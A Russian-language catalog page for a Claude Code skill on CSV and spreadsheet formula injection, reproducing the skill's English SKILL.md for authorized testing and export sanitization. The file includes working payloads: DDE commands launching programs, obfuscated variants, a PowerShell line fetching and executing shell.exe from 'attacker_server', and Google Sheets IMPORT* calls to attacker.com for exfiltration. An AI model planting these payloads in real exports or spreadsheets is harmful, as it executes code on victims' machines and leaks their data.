К основному содержанию
скилл CX Codex

csv-formula-injection — скилл для Claude Code: формула-инъекции в CSV

Скилл для проверки того, как выгрузки в CSV и таблицы реагируют на формулы из пользовательских полей. Нужен при тестировании отчётов и экспортов.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill csv-formula-injection -a claude-code
Открыть на GitHub

Что делает csv-formula-injection

Скилл описывает формула-инъекции в CSV и таблицах: символы =, +, -, @ в начале ячейки, DDE-вызовы в Excel и LibreOffice, а также IMPORTXML, IMPORTRANGE, IMPORTHTML, IMPORTFEED и IMPORTDATA в Google Sheets. Отдельный раздел — обфускация, когда защитный парсер вырезает очевидные шаблоны, а полезная нагрузка разбивается пробелами.

Методика идёт по шагам: найти точки выгрузки CSV, XLSX или TSV, проследить поля под контролем пользователя, подставить безобидную арифметику вроде =1+1 и открыть файл в том же софте, что и жертва. Дальше — фиксация: считается ли ячейка, появляется ли предупреждение безопасности или запрос DDE. В разделе защиты перечислены способы обезвредить вывод: апостроф перед значением, таб, удаление ведущих триггеров на этапе экспорта.

Автор скилла прямо оговаривает: полезные нагрузки, которые запускают локальные команды или тянут данные по сети, применяйте только при явном разрешении, на лабораторных целях и с зафиксированным согласием. Тесты на стороне клиента без правил программы — не сюда. Это повод проверить, есть ли у вашей выгрузки санитизация вообще.

Какие задачи решает

  • найти колонки в отчёте, которые попадают в таблицу без обработки
  • проверить, выполнится ли формула из имени пользователя при открытии выгрузки
  • зафиксировать сетевой запрос из Google Sheets на подконтрольный адрес
  • обойти парсер, который вырезает очевидные формулы
  • закрыть экспорт от ведущих =, +, -, @

Примеры запросов агенту

  • проверь выгрузку заказов в CSV на формула-инъекции
  • какие поля профиля попадают в XLSX-отчёт без санитизации
  • составь чек-лист проверки экспорта аудита перед релизом

Как установить csv-formula-injection

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill csv-formula-injection -a claude-code

2Вручную: положить файлы

~/.claude/skills/csv-formula-injection/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/csv-formula-injection/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о csv-formula-injection

Как установить csv-formula-injection в Claude?

Через установщик скиллов: npx skills add yaklang/hack-skills --skill csv-formula-injection -a claude-code. Файл скилла окажется по пути ~/.claude/skills/csv-formula-injection/SKILL.md.

Что делает csv-formula-injection?

Разбирает формула-инъекции в CSV и таблицах: DDE-вызовы в Excel и LibreOffice, функции IMPORT* в Google Sheets, обфускацию и методику проверки. Плюс раздел с защитой на уровне экспорта.

Нужно ли разрешение на такие тесты?

Да. Скилл требует явной авторизации, а нагрузки с запуском локальных команд или загрузкой по сети советует проверять на лабораторных целях с документированным согласием.

Исходный текст

SKILL.md · MIT
---
name: csv-formula-injection
description: >-
  CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
---

# SKILL: CSV Formula Injection

> **AI LOAD INSTRUCTION**: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where **explicitly authorized**; payloads that invoke local commands or remote fetches are **impactful**—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

## 0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

```text
=
+
-
@
```

Test cells may look like:

```csv
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
```

**Routing note**: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.

---

## 1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for **controlled lab** reproduction:

```text
DDE("cmd";"/C calc";"!A0")A0
```

```text
@SUM(1+1)*cmd|' /C calc'!A0
```

```text
=2+5+cmd|' /C calc'!A0
```

```text
=cmd|' /C calc'!'A1'
```

PowerShell-style chaining (lab only; replace host and payload with benign equivalents):

```text
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
```

---

## 2. OBFUSCATION

Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):

```text
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
```

Extra whitespace after `=`:

```text
=         cmd|'/c calc.exe'!A
```

Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):

```text
=    C    m D    |'/c calc.exe'!A
```

`rundll32` style:

```text
=rundll32|'URL.dll,OpenURL calc.exe'!A
```

---

## 3. GOOGLE SHEETS

If exported data is later opened in **Google Sheets**, or sheets pull from untrusted CSV, these functions can cause **outbound requests** or **cross-document data pulls**:

**Data exfiltration / probe (replace URL with your authorized callback):**

```text
=IMPORTXML("http://attacker.com/", "//a/@href")
```

Other high-risk imports:

```text
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")
```

Document which function executed and what network side effects occurred.

---

## 4. TESTING METHODOLOGY

1. **Map sinks** — Any feature that emits **CSV, XLSX, or tab-separated** output: admin exports, audit logs, user rosters, billing reports, search results.
2. **Trace user-controlled fields** — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
3. **Inject formula prefixes** — Start with benign arithmetic (`=1+1`, `+1+1`) to detect evaluation; escalate only per rules.
4. **Open in target software** — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
5. **Evidence** — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.

**Note**: focus on the `user input -> export -> opened in spreadsheet software` chain.

---

## 5. DEFENSE

Application and export-layer mitigations:

- **Prefix with single quote** — In many spreadsheet apps, leading `'` forces **text** interpretation: `'=cmd|...` displays literally.
- **Prefix with tab** — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
- **Strip or neutralize leading triggers** — Remove or escape leading `=`, `+`, `-`, `@` (and Unicode lookalikes) at export time.
- **CSV encoding** — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
- **User education** — Do not enable external data / DDE without policy.

Example safe export transformation (conceptual):

```text
Input:  =1+1
Output: '=1+1   OR   \t=1+1   OR   (empty prefix) with escaped quotes per RFC 4180
```

**Note**: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
recipe-backup-sheet-as-csv официальный googleworkspace Скилл выгружает таблицу Google Sheets в CSV-файл для локального бэкапа или дальнейшей обработки. Пригодится, когда данные из таблицы нужно забрать к себе на диск. CX Codex +1 31 100установок csv-excel-merger OneWave-AI Скилл складывает несколько CSV, TSV и Excel в один файл: склеивает, джойнит по ключу, убирает дубли и проверяет арифметику строк. CX Codex +1 1 200установок minimax-xlsx MiniMax-AI Скилл для создания, чтения, редактирования и проверки Excel-файлов (.xlsx, .xlsm, .csv, .tsv) прямо в коде. Пригодится, если нужно обработать табличные данные, построить финмодель или исправить формулы без потери форматирования. CX Codex +1 3 800установок audit-xls официальный anthropics Проверяет формулы и структуру таблиц Excel на ошибки, хардкод и разрывы логики. Помогает провести аудит финансовой модели перед отправкой клиенту. CX Codex +1 2 200установок csv-data-visualizer ailabs-393 Строит интерактивные графики Plotly по CSV-файлам, считает статистику колонок и собирает дашборды. Пригодится для быстрого разведочного анализа данных. CX Codex +1 1 300установок gws-sheets официальный googleworkspace Скилл позволяет агенту читать и изменять таблицы Google Sheets через CLI. Подойдёт для работы с данными из проекта и автоматизации операций с таблицами. CX Codex +1 58 900установок

Из того же набора93

http2-specific-attacks Скилл для проверки атак, связанных с HTTP/2: h2c, псевдозаголовками, HPACK и мультиплексированием. Нужен при аудите целей с поддержкой HTTP/2. CX Codex +1 3 600установок clickjacking Плейбук по кликджекингу: помогает выяснить, грузится ли страница в iframe и можно ли через невидимый оверлей нажать чужую кнопку. CX Codex +1 3 600установок jndi-injection Плейбук по JNDI-инъекциям: разбирает lookup через RMI и LDAP, ограничения версий JDK и обходы после 8u191. Пригодится при проверке Java-приложений на Log4Shell. CX Codex +1 3 600установок active-directory-acl-abuse Плейбук по злоупотреблению правами Active Directory: опасные ACE, DCSync, shadow credentials, LAPS и пути из BloodHound. CX Codex +1 3 600установок expression-language-injection Плейбук по инъекциям Expression Language для тестирования безопасности в Java. Помогает находить и проверять уязвимости в SpEL, OGNL и Java EL при аудите веб-приложений. CX Codex +1 3 600установок dependency-confusion Проверяет риск dependency confusion в манифестах и CI. Нужен для аудита npm, pip, RubyGems, Maven, Composer и Docker. CX Codex +1 3 600установок subdomain-takeover Плейбук по поиску висящих CNAME, NS и MX-записей и захвату ресурсов, которые за ними стоят. Пригодится на пентесте и в баг-баунти. CX Codex +1 3 600установок http-host-header-attacks Плейбук по атакам на заголовок HTTP Host: отравление сброса пароля, кеша, SSRF и обход виртуальных хостов. Помогает проверять доверие приложений к внешним заголовкам. CX Codex +1 3 600установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой